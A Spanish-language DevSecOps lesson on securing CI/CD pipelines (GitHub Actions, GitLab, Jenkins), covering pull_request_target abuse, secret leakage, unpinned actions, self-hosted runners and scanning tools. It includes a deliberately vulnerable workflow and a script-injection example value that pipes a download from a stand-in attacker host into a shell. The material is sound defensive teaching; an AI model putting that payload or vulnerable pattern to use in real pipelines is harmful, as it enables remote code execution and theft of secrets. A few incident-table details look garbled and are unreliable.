DevSecOps: seguridad en pipelines CI/CD y supply chain
· 10 min de lectura
Los pipelines CI/CD modernos (GitHub Actions, GitLab, Jenkins) son objetivo prioritario. Aprende los fallos típicos (secrets filtrados, workflows runners comprometidos, pull_request_target), SAST/DAST/SCA, y cómo bastionar un pipeline.
DevSecOps es la práctica de integrar seguridad en todas las fases del ciclo de vida del software: desde el código que un desarrollador escribe en su IDE hasta el deploy en producción, pasando por las pipelines de Integración Continua (CI) y Deploy Continuo (CD). Lo que fue un buzzword hace una década hoy es requisito en cualquier organización moderna: los pipelines CI/CD son el nervio central del software y, por tanto, uno de los targets más valiosos para atacantes. Un compromiso de pipeline permite inyectar código malicioso en todos los artefactos, robar secretos de todos los entornos y moverse lateralmente a producción sin tocar producción directamente.
Esta lección cubre la seguridad de GitHub Actions, GitLab CI, Jenkins y los conceptos generales que aplican a cualquier CI/CD. Verás los fallos típicos (secrets filtrados, workflows inyectables, abuso de pull_request_target, runners comprometidos), las herramientas de SAST (static analysis), DAST (dynamic), SCA (dependencies), y cómo armar un pipeline resistente.
Es la lección de arranque del bloque DevSecOps de la Tanda 5, previa a la de supply chain attacks que analiza los mismos problemas desde ángulo distinto.
Prueba solo en repos propios o con autorización explícita. Modificar pipelines ajenos sin permiso es acceso no autorizado.
Anatomía de un pipeline#

Un pipeline típico:
Paso 1 — dev commit + push: GitHub, GitLab, Bitbucket reciben el push.
Paso 2 — trigger CI: plataforma (Actions, Runner, Jenkins) ejecuta workflow.
Paso 3 — lint + test: calidad básica.
Paso 4 — build artifact: imagen Docker, binario, bundle.
Paso 5 — security scans: SAST, SCA, secrets, SBOM.
Paso 6 — publish artifact: registry, package repository.
Paso 7 — deploy: a staging y luego a prod (manual approval en muchos casos).
Cada paso es una potencial superficie de compromiso: el dev local, el workflow YAML, el runner, el registry, el entorno.
Fallos típicos en GitHub Actions#
pull_request_target sin filtrar#
El trigger pull_request_target corre con secrets del repo base y permissions de write. Si el workflow hace actions/checkout del PR source sin validar y luego ejecuta código del PR → RCE en el runner.
# VULNERABLE
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # Code del PR
- run: npm install && npm test # Ejecuta scripts del PR
Un atacante abre PR con postinstall script malicioso en package.json → ejecuta con secrets del repo. Mitigación: nunca checkout del PR source en pull_request_target, o usar pull_request que corre sin secrets.
Secrets en workflows#
Secrets de GitHub se expanden en el workflow. Si el workflow los pasa como argumento de command o los imprime, pueden filtrarse:
# MAL
- run: curl -H "Authorization: Bearer ${{ secrets.API_KEY }}" ...
# El secret puede aparecer en logs si hay echo
Script injection#
Inputs sin sanitizar pasan a expresiones:
# VULNERABLE
- run: echo "Issue: ${{ github.event.issue.title }}"
Si el título del issue es "; curl attacker.com/x | sh; echo ", se ejecuta. Mitigación: usar env var intermedia.
Third-party actions sin pinning#
# MAL
- uses: some/action@main # apunta a una rama
# o
- uses: some/action@v1 # tag mutable
# BIEN
- uses: some/action@abc123def... # SHA pinned
Si el mantainer de some/action compromete su repo, tu pipeline ejecuta su código. Pin a SHA es la defensa.
GitLab CI#
Problemas similares en GitLab:
- CI_JOB_TOKEN puede dar acceso excesivo entre proyectos.
- Protected variables solo en branches protegidos, MRs de forks pueden exfiltrar en pipelines bien diseñados.
- include:remote: incluir YAML de URLs externas.
- Runners self-hosted compartidos entre proyectos: cross-contamination.
Jenkins#
Jenkins tiene sus patrones:
- Script Console accesible = RCE directo.
- Pipeline Jenkinsfile con
scriptblocks que ejecutan Groovy sin sandbox. - Credentials a nivel global vs folder vs job: un leak global compromete todo.
- Agent/node misconfigurations: agent con permisos excesivos sobre master.
Runners self-hosted#

Los self-hosted runners son particularmente peligrosos. Si están registrados en repo público y aceptan workflows de PRs:
- Cualquiera abre PR con workflow malicioso.
- Runner self-hosted lo ejecuta en la infra de la víctima.
- Atacante roba secrets, pivota a red interna, escapa del container.
GitHub mitiga parcialmente requiriendo approval manual de PRs de first-time contributors, pero muchos equipos lo deshabilitan por fricción. Mejor: runners ephemeral, nunca compartidos con repos públicos, isolated network.
Secrets management#
- No hardcodear secretos: evidente pero sigue ocurriendo.
- GitHub Actions secrets / GitLab CI variables / Jenkins credentials: cifrados en reposo.
- External secret managers: HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, Azure Key Vault. Pipelines piden secreto bajo demanda.
- OIDC federation: pipelines se autentican a cloud sin keys persistentes. GitHub Actions + AWS OIDC, GCP WIF, Azure Federated Credentials.
- Rotación automática: secretos con TTL corto.
Herramientas de security scanning#
SAST (Static Application Security Testing)#
Analiza código fuente buscando patrones vulnerables:
- Semgrep: rules en YAML, rápido, muchas reglas community.
- SonarQube: standard corporativo.
- CodeQL (GitHub): queries SQL sobre AST.
- Snyk Code: comercial.
DAST (Dynamic)#
Prueba la aplicación corriendo:
- OWASP ZAP automated scan.
- Burp Suite Enterprise.
- Nuclei con plantillas DAST.
SCA (Software Composition Analysis)#
Analiza dependencies por vulns conocidas:
- Dependabot (GitHub).
- Snyk.
- OWASP Dependency Check.
- Renovate.
Secrets scanning#
- Gitleaks: pre-commit + CI scanner.
- TruffleHog: scans históricos.
- detect-secrets (Yelp).
- GitHub Secret Scanning integrado.
SBOM (Software Bill of Materials)#
- Syft: genera SBOM en CycloneDX/SPDX.
- Grype: scanner de vulns sobre SBOM.
- CISA Executive Order requiere SBOM para software vendido al gobierno USA.
Supply chain protection#
Introducida más a fondo en la próxima lección, pero principios:
- Signed commits: GPG o Sigstore gitsign.
- Signed images: cosign, Notary.
- Provenance: SLSA framework, attestations verificables.
- Reproducible builds: builds idénticos dan hashes idénticos.
Mitigación resumen#
- Pin third-party actions a SHA.
- Nunca pull_request_target con checkout de PR.
- OIDC federation en vez de keys cloud.
- Runners ephemeral, isolated.
- Secrets en Vault/Secret Manager, no en CI.
- Branch protection: require review, require status checks, no force push, no bypass.
- SAST + SCA + secrets scan en todos los PRs.
- Audit logs de workflows, retención, alertas sobre cambios en branch protection.
- Minimum permissions en GITHUB_TOKEN (
permissions: contents: read).
Casos reales famosos#
Los incidentes públicos documentan exactamente los patrones vistos:
| Año | Caso | Vector |
|---|---|---|
| 2020 | SolarWinds | Compromiso del build server, inyección en binarios firmados |
| 2021 | Codecov | Script bash en CDN modificado, exfiltra secrets de pipelines |
| 2021 | Ultralytics | PyPI package comprometido con cryptominer |
| 2022 | GitHub Actions tj-actions/changed-files | Breach de acción comprometida con secrets |
| 2022 | Argo CD CVE-2022-24348 | Path traversal en helm value permitía RCE en cluster |
| 2023 | CircleCI | Compromiso de emprender con malware → tokens de clients |
| 2024 | tj-actions/changed-files (otra vez) | Supply chain con exfil de credentials a Docker Hub |
Ninguno fue novel: todos aprovecharon patrones conocidos con medidas de defensa públicas disponibles. La lección: no es falta de conocimiento, es falta de implementación.
Rol de los developers#
DevSecOps requiere shift left: los developers deben:
- Correr SAST/SCA localmente antes del push (Semgrep CLI, Snyk CLI).
- Escribir tests de seguridad junto a tests funcionales.
- Revisar dependencies antes de añadir una nueva (criterios: mantenimiento, usuarios, security track).
- Pin de dependencies con hash en
package-lock.json,Cargo.lock,go.sum. - No pedir permisos excesivos a workflows.
- Reportar vulns descubiertas internamente al equipo de seguridad.
Un equipo con desarrolladores security-aware multiplica la velocidad de respuesta y reduce bugs llegados a prod. Formación continua, no solo onboarding, es clave.
Errores comunes#
- Deshabilitar branch protection «para hotfix».
- Secrets en
.envcommitted accidentalmente (gitleaks lo pilla). - Third-party actions sin pin.
- Runners self-hosted en repo público con auto-approve.
- Deploy directo a prod sin aprobación manual en workflow.
Preguntas frecuentes#
¿SAST vs DAST vs SCA cuál primero?#
SCA primero: dependencies con CVEs conocidos son los fruta más baja y automatizable. SAST segundo: patrones en tu código. DAST tercero: pruebas runtime, requiere infra.
¿Semgrep vs CodeQL?#
Semgrep: fácil de configurar, rules sencillas en YAML, bueno para custom rules rápidas. CodeQL: más potente para queries complejas, curva de aprendizaje mayor.
¿SLSA es real o buzzword?#
SLSA (Supply chain Levels for Software Artifacts) es un framework maduro de Google/OpenSSF. Niveles L1-L4. En 2026 L3 es realista para empresas serias, L4 todavía aspiracional en la mayoría.
¿Cómo bastionar un pipeline existente que llevamos años con mala higiene?#
Plan por fases: 1) secrets scan histórico + rotación; 2) pin de actions; 3) SAST/SCA en PRs; 4) OIDC federation para cloud; 5) runners ephemeral; 6) SBOM + signed artifacts. Mes a mes, no todo de golpe.
¿Dónde practico?#
El laboratorio armageddon de whoami-labs incluye un repo GitHub de prueba con workflows vulnerables a pull_request_target, actions sin pin, secretos expuestos. Practicas detectar, explotar en PR controlado, y arreglar.
¿Vale la pena tener un equipo de Application Security dedicado?#
Para organizaciones con más de 50 desarrolladores, sí. Para menores, un consultor externo + herramientas automatizadas + un champion interno puede cubrir. El punto crítico es tener alguien que sea dueño del programa, no dispersarlo entre devs y ops.
¿SBOM realmente aporta valor o es más burocracia?#
Aporta cuando hay CVE nuevo: puedes responder en minutos «¿afecta a qué de nuestros productos?» consultando SBOM. Sin SBOM, cada CVE lanza horas de búsqueda manual. Para empresas grandes es ROI obvio; para startups quizá burocracia si no hay compliance que lo exija.
¿GitHub Actions tiene algún equivalente a Jenkins Pipeline Script Console?#
Afortunadamente no. Actions tiene menos superficie que Jenkins. Pero GITHUB_TOKEN con permisos amplios + repositorio con muchos colaboradores equivale a riesgo similar.
¿Cómo gestionar deps de JavaScript con millones de transitive deps?#
npm audit/pnpm audit/yarn auditcomo mínimo.- Snyk, Dependabot para automatizar updates.
- Reducir deps: menos deps = menos superficie. Replantear si cada package new es imprescindible.
- Lockfile maintenance:
npm cisiempre en CI, nonpm install. - Private registry si es crítico: evitas typosquatting (ataque común en npm).
Resumen#
- Pipelines CI/CD son target prioritario: comprometer uno = comprometer todos los artefactos.
- Fallos típicos GitHub Actions: pull_request_target, script injection, third-party sin pin.
- GitLab: CI_JOB_TOKEN excesivo, include:remote peligroso.
- Jenkins: Script Console, Groovy sandbox, credenciales globales.
- Runners self-hosted son particularmente arriesgados.
- Stack: Semgrep (SAST), ZAP (DAST), Dependabot/Snyk (SCA), Gitleaks (secrets), Syft/Grype (SBOM).
- Defensa: OIDC federation, runners ephemeral, pin a SHA, branch protection, Vault para secrets.
La próxima lección entra específicamente en supply chain attacks, el ángulo más dramático y creciente de este bloque: compromiso del origen de las dependencies o del propio compiler, no solo del pipeline de construcción. Los principios defensivos se solapan pero la perspectiva es distinta, y los atacantes sofisticados se mueven cada vez más en esa dirección porque el retorno sobre la inversión es enorme comparado con atacar aplicaciones una a una. Un package npm con backdoor que descarga millones de usuarios multiplica el impacto de cualquier exploit tradicional por varios órdenes de magnitud, y la detección es mucho más difícil porque el código malicioso llega firmado y legitimado por una fuente aparentemente confiable, con revisión histórica positiva, downloads en el orden de millones, y uso extendido documentado durante muchos años previos.
Esos atributos son los que convencen a desarrolladores a aceptar la dependencia sin segundo pensamiento.